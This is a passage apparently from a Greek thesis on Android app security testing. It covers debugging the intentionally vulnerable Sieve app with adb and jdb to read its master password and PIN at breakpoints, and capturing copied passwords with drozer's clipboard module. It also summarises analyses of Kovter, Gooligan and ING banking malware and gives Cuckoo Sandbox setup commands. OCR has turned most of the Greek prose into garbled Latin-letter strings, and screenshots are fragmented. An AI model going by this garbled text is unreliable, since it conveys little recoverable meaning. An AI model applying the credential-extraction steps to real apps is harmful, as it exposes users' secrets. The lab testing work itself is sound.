<permission "Allows reading of the Key in Sieve" "com.mwr .example.sieve.READ_KEYS" "dange
<permission "Allows editing of the Key in Sieve" "com.mwr .example.sieve .WRITE_KEYS" ""dangq
<uses-sdk "g" Tt />
<application "@style/AppTheme" "@string/app_name" "@drawable/ic_launcher"

Ewova 211 - android:debuggable="true"

To mapamndvw eVpnUa To EMoNUAivel kat To MobSF kat to agloAoyet wg high severity (Ewkova

212).
Debug Enabled For App [ high| Debugging was enabled on the app which makes it easier for reverse
[android:debuggable=true] engineers to hook a debugger to it. This allows dumping a stack trace and

accessing debugging helper classes.

Ewova 212 - Etdomtoinon tou MobSF yia to enabled debug mode

Ze aUTO onueilo xpnoponowwvtag to adb command epyaleio kat tov Java debugger, jdb, 6a
Kavoupe debug tnv edappoyr MpokKewEvou va BpoUpe TOAUTIUEG TTANPOodOpPLes. APXIKA,
ekteAoUUe tnv evtoAn adb jdwp evw mapdAAnAa €xoupe avolxth tv €doapuoyn yla va

BpoUue ta ports ou xpnotpormolel (Ekova 213).

toku-virtual-machine:~$ adb jdwp

Ewkova 213 - Eupeon twv listening ports tng epapuoyrng

ITn ouvéxela, Kavoupe set up tov debugger kal mpoxwpape oto debugging tng ebpappoyng

(Ewcdva 214).
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Ewova 214 - Set up the debugger

MAfov, elpaote og Béon va eéetacoupe TNV edpappoyn BrApa mpog Prua. Zav emutpoobetn
BonBela, yla TNV KAAUTEPN KATAVONON TOU TPOTIOU AElToupyilag TnG ebappoyns, EXOULE Kal
TOV Tinyalo KWOKA TNG OMwe TMPOoEKUYPE KaTd Tn Stadlkacia tng OTATIKAG avAAuong.
ExkteAwvtag tig evioAég Tou jdb debugger classes kat methods mapatnpoUue TIg KAAOELS Kall

HeBOSoUC avtioTola Mou untdpxouv otnv epapuoyn sieve (Ewkova 215).

che 1
ceConnector checkKey(j
check
5 nthame, an

entName)

Ewova 215 - AuthServiceConnector.class methods

ITn ouvéxela, Héow Tou debugger slodyoupe éva breakpoint otnv péBodo checkKey (Ewdva
216), n omola eA€yxeL av 0 KWOLKOG TTOU €LOAYEL KATA TO log in Tou 0 XPoTNG TaLPLALEL UE TOV
master password Tou €ixe ekYwpPrOoEeL KATA TNV pwTtn £l00d6 Tou otnVv edappoyn. Kotormy,
TPEXOULE TO sieve Kal ETXELPOUUE To log in. Onw¢ avapevotay, n EKTEAECN OTAMATA KABwG
KaBwg evepyornoleital to breakpoint (Ewkova 217).

> g to o i.-l e -.
Set breakpoint com.m

Ewova 216 - Etoaywyrn) breakpoint otn uédobdo checkKey
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Ewkova 217 - Breakpoint hit

Y& aUTO TO onuelo, eipaocte o BEon va eAéyEoUE KAl va TIPOCTIEAACOUUE TIG euaiobnteg
TWWEG, Xpnotpomolwvtag Sladopeg eVIOAEG. Mo MAPASELYUA, HE TNV EKTEAEON TNG EVIOANG
next ekTteAeltaL n €mMopevn ypauun Kwdlka evw e tnv evtoAn locals pmopolue va
T(POOTIEAAGOULLE TLC TOTUKEC LETOPANTEC TTOU aPpOopPOoUV TO EKAOTOTE CNHELO OTNV EKTEAEDN TOU
KwSIKA. ITNV OUYKEKPLUEVN TEPIMTwOon Kal ekteAwvtag tTo command locals amoktoUue

TPOoPAON OTLG TOTUKEG METOPANTEG Kal TOV KwSLIKO cuvdeonc.

Ewkova 218 - Mpoonédacon tou master password tng e@Qapuoyns

AkolouvBwvtag ta 6la BApata ya tnv wEBodo checkPin (Ewdva 219), n omoia KAVEL TOV
avtiotolyo £AeyXo yLa TO pin, AMOKTOUUE IPOCBAON OTO pin TTOU ELOAYEL O XPrOTNG KATA TNV

€(0060 tou otnv edappoyn (Ewwdva 220).

Ewova 219 - Etoaywyn breakpoint otn pédobdo checkPin

> main",

Ewkéva 220 - lNpoonéAacn tou KwdLkou pin
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MNa epappoyég Android, To xapaktnplotiko android:debuggable mpénel va opiletal wg false
oto apxeio AndroidManifest.xml étoL wote va pnv eivatl duvatni n Asttoupyla eviomiopou

odpaApaTwv.

Vulnerability report 6: Avtiypadr otolyeiwv oto clipboard

H epoappoyn Sieve eMITPENEL OTOUG XPHROTECG TNG va avilypddouv KwdLkoug mpocBacng oto
clipboard kdavovtag kAlk o€ évav amod Toug amobnkeupévoug AoyapLaouous Xpnotwy otn
Alota (Ewdva 221). MapaAAnAa to drozer mapéxeL 0TOUG XProTeG T Suvatotnta va dtafalouv
To clipboard adoU mponyoupEVWG EYKATAOTGOUV TO OXETIKO module, eKTEAWVTAC TNV EVTOANR

module install clipboard (Ewova 222).

A& Your Passwords

Bank

bank_username

website_credentials

mycredentials

Password Copied to clipboard

Ewkéva 221 - Avtiypacpn oto clipboard

ipboard... Done.

sTully installed 1 modules, © already installed.

Ewkéva 222 - Eykataotaon tou module

AdoU oAokAnpwBel emituxwe n eykataotacn tou clipboard module oto epyaleio

drozer kAvoupe KALK o€ €vav amoBnNKEUUEVO AOYaPLOCHUO TIPOKELUEVOU va avtlypoadel o
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KwdLkog mpooBaong oto clipboard. TéEAog, ekteAwvTag TNV eVToAr run post.capture.clipboard
To drozer epudavilel Tnv TLun ou €xeL avtiypadet oto clipboard tn¢ android cuokeung (Etkova
223). ITtnV TPOKEWEVN Tmeplmtwon epdaviletal o KwSKOG Tou Aoyaplacpou
Kpumtoypadnuévog kabwg, Buuiloupe, n edappoyn kpumtoypoadel tov KwOIKO KABE
Aoyaplaopou e tov master password Tou €L0AYEL O XPHOTNG KATA TNV €KKivnon tng
edappoyng. Qotoco UePLKEG GOPEC N Kpumtoypadnon dev xpnolomnoleitatl kaboAou Kal n

npoéoBaon oe evaicdnteg MAnpodopieg amoktatal ansvubeiag.

Ewkova 223 - clipboard capture

Kata tnv aflohoynon upiag bpappoyng mou xpnolpomnolel to clipboard yia omolovénmote
Abyo, Ba mpémet va AndBel umoP v n mepIMTWOon OV MAPOUCLACTNKE HE T SuvatdtnTa Tou

TIAPEXEL TO drozer yla avAKTNoN QUTAG TNG MAnpogdopiag.
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5. Juunepaopata — EntAoyog

Malware Analysis (exe version): Katd tnv €peuvd pag avoAUCOUE TO TIOPAKATW

Selypata:

e PDFXCview.exe — trojan kovter. Mpoypatomnol)0nke n auTOUATONOLNUEVN OVAAUCH TOU
HEOwW ToU cuckoo, otn ouvExela peAetrOnkav ta static properties pe to epyaleio pestudio
Kal TEAOG €ywve n Suvaulkn avaiuon tou Selypatog pe tn Ponbela twv epyadeiwv
procDOT kalL procmon. e KABeva amd ouTA To OTAdLA CUANEXONKav TOANEG Kal
Sladpopetikég mAnpodopieg yla tn dpdon Tou cuykekpLuEvou malware.

e RNMON.exe — Umonto ekteAéoiuo. MNapouclaotnkav Tt Bripata mou akoAouBnoape
TIPOKELUEVOU VA TIPOOSLOPIOOUHE Qv TO €V AOyWw €EKTEAECLUO €ilval KakOBoulo 1 OxL.
MeAetBnkav ta static properties péow tou pestudio, €ywvav dump ot cupBoAooELpEG
amod tn HvAun me tn Ponbela tou Process Hacker kal mapdaxdnke to ypddnua mou

TtapouaLAleL TOV TPOTIO SpACNE TOU TIPOYPAUUATOC LECW Tou procDOT.

Andé v £peuvd pog  KotoAnape ota  akolouBo  cuupmepdcpota.  H
OQUTOLOTOTIOLNEVN avAAUGn SLvEL HECO OE GUVTOMO XPOVLIKO SLACTNHA HLa opXLKA amavinon
yla To €av 1o e€etalopevo delypa eivat kakoBouAo f oxL. NMapoN autd yla tnv ev Tw BabeL
KATAvVONoN TNG CUUTEPLPOPAG EVOC TIPOYPAUUATOC SeV apKel pHOvo auth. H mepaltépw

guBabuvon kat e€€Taon MapapETPWY OTWG:

- N TN TNG eviponiag,

- OLOUVOPTAOELG TIOU XPNOLLLOTIOLOUVTAL,

- olLoupPBolooelpég mou yivovtal dump amod tn pvnun otav ekteAeital to binary,
- TO OPYELQ TTOU TPOTIOTIOLOUVTAL KATA TNV EKTEAEON,

- 1o persistence mechanism tou ekdotote malware k.Am.

Slvouv pLa o oAokANPWUEVN EKOVA yla TO €EETAlOUEVO TIPOYPAUUA KAl TN cUunepLdopd
Tou. 2tn Sdadikacia auth, WOLatépw e Xprolua epyaleia ta onoia BorBnoav otnv e€aywyn
TANPodopLWV KOL CUUTEPACHATWY €lval To pestudio, yla tnv e€€taon twv static properties,
Kal To procDOT yla TNV PEAETN TNG CUUMEPLPOPAG TOU TIPOYPAUUATOC, LECW TNG YPOPLKAG

VOO PAOTACNC TIOU TIAPEXEL.
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Malware Analysis (apk version): Katd tnv £psuvd po¢ avaAUCOUE T TIOPAKATW

Selypara:

Snake.apk — gooligan malware. H épguva pog otnv malicious ebappoyn anmokdAue mwg
éva malware pmnopet va unoduBel pla abwa edappoyn onwg éva malxvidt mou Ba
geyehaoel eUKOAa €vav MECO XPNOTN yld VO TNV EYKOTOOTHOEL OTO KWNTO TOU.
ErunpdoBeta onpavtiko evdladépov napouciace to 6tL N malicious edappoyn maipvel
ot MAnBwpa amd permissions kol OtéAvel oe Sladopeg tomobeoieg oto internet
ONUAVTIKEG TANPODOPILEG LKAVEG VAL TAUTOTOL\ oLV €vav Xpnotn, onwg to IMEI, IMSI,
MAC ADDRESS, cuokeun Kal povtélo android akopa Kal tnv xwpa otnv omnoia Bploketal
0 xpNotne. OAeg autég oL mMAnpodopieg oTéAvovtal Xwpeig o Xprotng va avtllapBavetat
Tinota.

ING certificaat — banking malware. H épguva pog otnv kakoBouAn edpapuoyn, n onoia
umoSUeTal emionUo AOYLOUIKO plaG Tpamelag, Koatédele Tov moAudldotato TpoOmo
Aettoupyiag tnG. To app €ival Lkavo va UTIOKAEPEL pLa eupeia ykapa mAnpodoplwy, ano
dwvnTikn Kat SMS emnikowvwvia €wg dwvnTikn Kataypodr) HECW TOU ULKPOPWVOU TOU
tAedwvou. EmumAéov, kataypadel evaiobnteg mAnpodopieg 6w to IMEL, to ICCID, tov

TNAePWVIKO aplBuo K.a..

2tn Stadikaoio tou mobile malware analysis TOAU xpriolpa epyaleia yLo TNV €KTEVN

HEAETN TNG edapUOYAG KOL KATAVONGHN TOU TPOTIOU AELToupylag tng, amoteAolv to dex2jar,

jd-gui, apktool kat MobSF, ta omoia T000 pHEHOVWHEVA OC0 KoL CUVOUOOTIKA OE KATIOLEG

TEPLTTWOELG, BonBouv otnv e€€taon Tou Kwdika java kal twv xml apxeiwv. Ta epyaleia avtd

xpnotuomnolouvtat otn dtadikacia Tou manual code reversing KoL OPEXOUV OTOV EPELVNTN

™ duvaToTNTA VA OTOKTNCEL Ul OAOKANPWHEVN E€LKOVA YL TO TIWG CUUTEPLDEPETAL N

KakOBouAn edappoyr, evtomnilovtag TNV ekdotote malicious dpaotnplotnTa pPEca oTov

Kwdka. Eva e€lcou onuavtiko epyaleio mou XpnoLponoleital otn cupnepldpopikr avaiuon

Twv Selypudtwy elval To zap, To omolo Asltoupywvtag wg proxy server, €ival wkovo va

kataypalpel OAn tnv Kivnon TNC OUOKEUNAG KOl KOT EMEKTOON TNV EMIKOVWVIO TOU

KakOBouAou ekteAéatpou pe To Stadiktuo.
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Security Testing of Mobile Applications: Katda tnv épsuvd pag efetdocape pia
epapuoyn n omoia avamtuxbnke yla okomoug testing mpokewwévou va avadeifoupe ta
SladopeTikad evaAwTta onueia ou evoéxetal va €xel pa android edappoyn kabwg Kal Tov
TPOTO TOU €vag KAaKOBoulog xpnotng pmopel va ta ekpeTaAAeutel. Mo CUYKEKPLUEVA

avadeixBnkav to mapoKATW:

- O TpOMOC LE TOV OTOLo UIMOopPEL va yivel avaktnon tng Baong Sedouévwy pag edappoyng
HEOW TNG MPOCoPBacnG 0To cUOTNUA apXElwV TNE CUOKEUNG UE Slkalwpata root.

- O TpOMOoCG e ToV OMolo Umopel va yivel avaktnon tng faong Sedouévwy piag epapuoyng
EKUETAAAEUOHEVOL TO YEYOVOC OTL TO attribute androidBackup sivatl evepyomnounuévo.

- O tpoMo¢ Pe Tov omolo £vag KakOBOUAOG XprioTtng Umopel va EKUETAAAEUTEL TNV KOKA
uAoToinon Twv activities, kKuplw¢ autwv ou oxetilovtal pe evaiobnteg mAnpodopiec.

- O TpbéMOoC Ue TOV omolo €vag KAKOBOUAOG Xpriotng Umopel va eKUETAAAEUTEL TNV KAKN
uAomoinon tTwv content providers ekteAwvtag petafl alwv SQLi kat path traversal
eTBEOoELC.

- HmnpdoPaon os onuavtikég mAnpodopleg TNG ebapUoynG EKUETAAAEUOUEVOL TO YEYOVOG
otL to attribute androidDebuggable eival evepyomnoinuévo kat n epoppoyn duvatal va
umoPAnBeil oe debugging.

- HmBavotnta npdéoBaong os evaicdnteg mMAnpodopileg TNG EPopUOYNC OV QUTH ETTPETEL

™V avtypadn otolxeiwv oto clipboard.

Ztn Sdwadikaoia tng aflohoynong tou erunédou aodaleiag android ebappoywv onUOVTIKA
epyaleia anoteholv to adb command, to drozer kat to MobSF, kaBw¢ pepovwuéva, alia
KOl ouUVOUAOTIKA O TOAAEG TIEPUTTWOELG, TAPEXOUV ML TANBwpa duvatotHTwy yla thv

gupeon aduvaplwy otLg baAPUOYEG.
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Napaptnua
Evkataotaon Cuckoo Sandbox

MpotoU E£EKIVAOOUUE TNV €YKATAOTAON €lval avoykoila n €yKOtaotoon KAmolwv

dependencies, mpokeluévou va Aettoupyrost to cuckoo.
ApPXLIKQ, LE XPriON TWV EVTOAWV

sudo apt-get install python python-pip python-dev libffi-dev libssl-dev, eykaBiotolpue oAa
TO anopailtnta maketa g python. Itn cuvéxela xpnolonolol e TG eVIOAEG sudo apt-get
install python-virtualenv python-setuptools -y kat sudo apt-get install libjpeg-dev zlib 1g-

dev swaig -y, WoTe vo. OAOKANPWOOULE TO MTPWTO TAKETO Twv dependencies.

Emépevo Bripa, sival n sykatdotacn tng mongodb kat tng postgresql, oL omoieg eivat ot
Baocelg SeSopévwy Tou Ba xpelaotolv yla TNV owoth Aswtoupyia tou epyaleiou. Etal,
TANKTPOAOYoUE TIG €VIOAEG sudo apt-get install mongodb -y kot sudo apt-get install

postgresql libpg-dev -y avtictoiya.

21N ouvéyxela Ba mpénel va eykataotabet To virtualbox, wote va dnuoupynBel otadlaka to
sandbox. Me xprion Twv evtoAwv

$ echo deb http://download.virtualbox.org/virtua... xenial contrib | sudo tee -a
/etc/apt/sources.list.d/virtualbox.list

S wget -q https://www.virtualbox.org/download/o... -O- | sudo apt-key add -
$ sudo apt-get update

$ sudo apt-get install virtualbox-5.1 -y

Ev ouvexeia, Ba mpémnel va mpaypatomnolnBei n AnPn evog Aettoupytlkol cuotipatog windows
(otn ouykekpuvn epimtwon windows 7), wote va dnutoupynBet To virtual machine mou Ba

ovopaotel cuckool pe pvun 2GB.
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Ewkova 224 - Eykatraotaon Windows 7 oto Virtualbox

AdoU oAokAnpwBouv Tta mapandavw BApata, Ba MPEMEL VO CUVEXLOTEL N EYKATACTAON TWV

dependencies pe TI¢ akOAOUBEC EVTOAEC:
Ma 1o volatility:

$ sudo git clone https://github.com/volatilityfoundati...
$ cd volatility

$ sudo python ./setup.py install

Scd..

M to M2Crypto:
$ sudo apt-get install swig

$ sudo pip install m2crypto==0.24.0

MNa to Cuckoo:
$ sudo pip install -U pip setuptools
$ sudo pip install -U cuckoo

$ sudo pip install distorm3
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Adou sykataotabel kat to cuckoo, Ba mpémel va dSnuioupyrnooupe Evav GAaKEAO HECO OTO
directory /opt, omou Ba PBpilokovtal OAoL oL amapaitntol, yw To cuckoo, ¢akeAol

XPNOLLOTIOLWVTOG TLG EVTOAEC:

$ sudo mkdir /opt/cuckoo
$ sudo chown cuckool:cuckool /opt/cuckoo

$ cuckoo --cwd /opt/cuckoo
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Ewkova 225 - Directory /opt

Itn ouvéxela Ba TPEMEL va KAVOUUE To avaAoyo configuration, wote va SWoOUUE OTO
ELKOVLKO HaG unxavnua tpocBoacn oto dtadiktuo. ApXLlKA, KAEIVOULE TO ELKOVLKO UNXAVNUO

Kall TTANKTPOAOYOULE €K VEOU OTO terminal Tig evioA£c:

$ vboxmanage hostonlyif create

$ vboxmanage hostonlyif ipconfig vboxnet0 --ip 192.168.56.1

Me auto tov Tpomo dnuoupyoupue eva network interface vboxnetO pe IP 192.168.56.1. lNa
va SLOMLOTWOOUUE TNV emttu)ia tng Snuoupyiag tou interface mAnKTtpoAoyoUE TNV EVIOAN

$ ifconfig, kat pag epdavitetal n akdAouvdn 0Bo6vn.
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Ewkova 226 - Network interface vboxnetO

Itn ouvéxela allaloupe tov adapter oe hostonly. Meta avoiyovtag aAAn kovooAa Ba
anoBnkevooupe ota IP tables tn dievBuvon Mpooplopd mou BéAoupe va eykaBildploou e

HeTAL TwVv Host kot Guest machines. AUTO TPOYLOTOTIOLEITAL LE TG TIAPAKATW EVTOAEG:

$ sudo iptables -A FORWARD -0 ens33 -i vboxnet0 -s 192.168.56.0/24 -m conntrack --ctstate
NEW -j ACCEPT

$ sudo iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

$ sudo iptables -A POSTROUTING -t nat -j MASQUERADE

$ sudo su

$ echo 1 > /proc/sys/net/ipva/ip_forward

AdOTOU TPOYLOTOTIOW)OOUME TO TOPATIAVW avolyoupe to virtual machine, wote va

dnAwooupue otatikn IP péoa og auto, Omwe daivetal Kal oTn MAPAKATW ELKOVAL.
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Internet Protocol Version 4 (TCP/IPvd) Properties [ 2 ==
General
You can get IP settings assigned automatically if your network supports

this capability. Otherwise, you need to ask your network administrator
for the appropriate IP settngs.

Obtan an IP address automatically

@ Use the following IP address:

IP address: 192 . 168 . 56 . 101
Subnet mask: 255 .255.255. O
Default gateway: 192 .168. 56 .

@ Use the following DNS server addresses:
Preferred DNS server: 8 .8 .8 ;8

Alternate DNS server:

Validate settings upon exit Advanced..

Ewova 227 - Static IP

Meta enBeBalwvoupe mwe to VM €xel mpooPacn oto Stadiktuo Kal eykaBLotoUpe TtV
python kat tnv pypi oto VM. TéAog, potou Eekivriooupe To cuckoo Ba mpémet va aAAdfoupe

karola configurations otov ¢pakelo /opt/cuckoo/.cuckoo/conf.

To nmpwto apxeio mou Ba mMpenel va tpomomnolooupe eival to virtualbox.conf, 6mou otn
ypapun machines = Cuckool to aAAaloupe o machines = cuckool kal mpooBEToupe otn
ypauun snapshot snapshot = snapshot 6nw¢ daivetal kol otn nmapakdtw swova. Adou

T(PAYLATOTIOL 00U UE TLG AAAAYEC TIC armoBnkeUooU e Kal Byaivoupe amo tov editor.
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File: uirtualbox.cont

Ewkova 228 — Apxeio virtualbox.conf

To enopevo apyeio ou KAAOUUAOTE Va TPOTIOTIOLOOUUE £ival To memory.conf, oto omoio
Ba mpémel va SNAWOOUUE TO OVOHA TOU AELTOUPYLKOU TIOU XPNOLUomoloUe oto VM

(windows7).

nikosf@nikost-XS40UA: fopt /cuckoojcont
5.3

Ewova 229 - Apxeio memory.conf

To teleutaio apyeio mou Ba MPEMEL va TPOTIOTOLNCOUVE €ival To reporting.conf omou Ba

TPEMEL va SNAWOCOUE Vo ETUTPEMETAL N Xprion tn¢ mongodb.
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Ewova 230 - Apxeio reporting.conf

MAéov elpaote £ToLHOL va EEKLVCOUUE TO cuckoo, MpwTta OUwWE Ba MPEMEL val UMOUKE OTO

dakeho /opt/cuckoo wote va Egkiviiooupe tov web server pe tnv evtoAr] $ cuckoo web

k

=@ (26%) ) 423mM L3

D localhost:8000 o L@ =

i= Recent of Pending Q Search submit | [ Import
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Pakoge  seare

H

Ewova 231 - Cuckoo webserver

Ko téAog tpéxoupe tnv evtoAr $ cuckoo -d kal eipoote £€tolpol va EEKLVOOUE TNV avaluon

Hog kavovtag submit to emBupuntd malware sample.
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nikosF@nikosf-XS40UA: (@5%) @) *25MM 15
ntk £-X540UA:-5 sudo
[sudo] password for nikosf
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Cuckoo Sand
www. cuckoosandbox. org
opyright (c) 2010-2018

Checking for updates

our latest blogpo:
. October 15, 261

More at https://hatching.t qy-nalspan
i , October 03, 2018
https: //hatching.1o/blog/vbscript-hooking
enmber 18, 2018.
https: //hatching.1o/blog/cuckoo-206-pente:
, June 07, 2018.
uckoosandbox.org/blog/206-interin-release
ecenber 03, 2017.
rore at 05-0ffice-dde
2019-02-16 9 < DEBUG: Imported modules. ..
2-16 16:2 [cuckoo.core. star Inported “auxiliary’ modules
16 16:24:27,9 HITH
-16 16:24:27,918 [cuckoo.
16 16:24:27,918 [ci
16 4:2 cf
16 4:27, cuckoo. cor G: Inported "machinery” modules:
16 16:24:27,919 [cuckoo.core. DEBUG: |-- vspher:
16 16:24:27,920 koo, core. DEBUG:

-
1E2
|

— ph
startup] : Inported nodules:
st BUG: |- A

1
DEBUG: 15
DEBUG: |-~ BehaviorAnalysis
DEBUG: |- Debug
] DEBUG: |-~ Droidnon
DEBUG: |-- Dropped

Ewova 232 - cuckoo -d
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